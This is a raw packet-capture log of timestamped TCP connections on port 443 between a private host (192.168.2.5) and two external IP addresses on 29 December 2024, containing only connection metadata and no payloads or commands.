Dec 29, 2024 14:15:34.547697067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.548398972 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.548454046 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.548463106 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.548712969 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.549434900 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.549468040 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.549494982 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.549500942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.549513102 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.601181030 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.669891119 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.669919014 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.669985056 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.670017958 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.673743010 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.683767080 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.683792114 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.683845997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.683859110 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.683897018 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.683912992 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.694840908 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:34.694879055 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:34.695329905 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:34.696271896 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:34.696285963 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:34.698262930 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.698282003 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.698358059 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.698371887 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.698457956 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.710794926 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.710813999 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.710879087 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.710889101 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.710954905 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.724330902 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.724349976 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.724416018 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.724425077 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.724458933 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.724477053 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.738827944 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.738846064 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.738905907 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.738919973 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.739063025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.753278017 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.753298044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.753360033 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.753371954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.753683090 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.767824888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.767843962 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.767925024 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.767960072 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.768233061 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.781368017 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.781387091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.781493902 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.781508923 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.781713009 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.793910980 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.793926954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.794015884 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.794025898 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.794703007 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.808437109 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.808453083 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.808521986 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.808532000 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.808559895 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.809128046 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.821919918 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.821934938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.821979046 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.821988106 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.822016954 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.822032928 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.836493015 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.836513996 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.836576939 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.836591005 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.838033915 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.849145889 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.849168062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.849244118 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.849262953 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.849296093 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.849319935 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.858226061 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.858243942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.858297110 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.858305931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.860579967 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.868654966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.868670940 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.868727922 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.868736029 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.868979931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.868979931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.876734018 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.876749039 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.876813889 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.876821995 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.876859903 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.885670900 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.885687113 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.885746956 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.885754108 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.885922909 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.894160986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.894179106 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.894226074 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.894232988 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.894253016 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.894267082 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.902036905 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.902053118 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.902117014 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.902126074 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.905708075 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.910032988 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.910048008 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.910111904 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.910125017 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.910321951 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.915719032 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.915734053 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.915797949 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.915806055 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:34.915822029 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:34.915844917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.009072065 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.009099960 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.009192944 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.009223938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.009265900 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.013586998 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.013609886 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.013721943 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.013729095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.013808012 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.017303944 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.017326117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.017379045 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.017385960 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.017415047 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.017429113 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.020880938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.020899057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.020970106 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.020977974 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.021136045 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.025259018 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.025278091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.025350094 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.025357962 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.025397062 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.025407076 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.029169083 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.029186964 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.029257059 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.029264927 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.029318094 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.029455900 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.032632113 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.032653093 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.032710075 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.032717943 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.032886028 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.036694050 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.036710978 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.036766052 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.036773920 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.036798954 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.036851883 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.210402966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.210428953 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.210499048 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.210521936 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.210547924 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.210578918 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.214104891 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.214122057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.214168072 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.214175940 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.214202881 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.214216948 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.217364073 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.217385054 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.217454910 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.217462063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.217485905 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.217502117 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.221200943 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.221220016 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.221282005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.221290112 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.221863985 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.224864960 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.224883080 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.224940062 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.224952936 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.225038052 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.228116989 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.228136063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.228223085 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.228230953 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.228998899 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.232112885 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.232129097 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.232182980 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.232189894 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.232219934 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.232237101 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.235228062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.235244989 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.235282898 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.235296011 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.235320091 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.235327959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.411710024 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.411772013 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.411825895 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.411861897 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.411879063 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.412075043 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.415537119 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.415600061 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.415635109 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.415642023 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.415674925 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.415700912 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.419509888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.419564009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.419600010 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.419608116 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.419636965 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.419658899 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.422645092 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.422696114 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.422738075 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.422745943 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.422774076 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.422801018 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.425789118 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.425817966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.425870895 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.425880909 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.425893068 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.425934076 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.429342985 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.429364920 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.429430008 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.429438114 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.429470062 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.429491997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.433245897 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.433263063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.433330059 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.433342934 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.435698986 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.436465025 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.436536074 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.436537981 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.436603069 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.436616898 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.436670065 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.613236904 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.613295078 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.613344908 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.613368034 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.613404989 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.613516092 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.617010117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.617057085 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.617095947 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.617104053 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.617136955 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.617161036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.621117115 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.621161938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.621189117 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.621196032 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.621220112 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.621241093 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.623473883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.623516083 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.623548985 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.623557091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.623608112 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.623616934 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.627290010 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.627353907 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.627362967 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.627382040 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.627409935 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.627433062 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.630955935 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.631000996 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.631048918 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.631057024 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.631071091 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.631097078 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.634160995 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.634202003 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.634243011 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.634249926 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.634298086 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.634320021 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.638051033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.638093948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.638124943 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.638130903 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.638159037 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.638166904 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.814851999 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.814873934 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.814920902 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.814944029 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.814955950 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.815007925 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.817989111 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.818008900 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.818059921 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.818068981 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.818094015 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.818116903 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.821883917 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.821903944 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.821963072 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.821973085 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.821997881 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.822017908 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.825109005 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.825125933 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.825216055 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.825249910 CET	443	49860	172.67.190.234	192.168.2.5
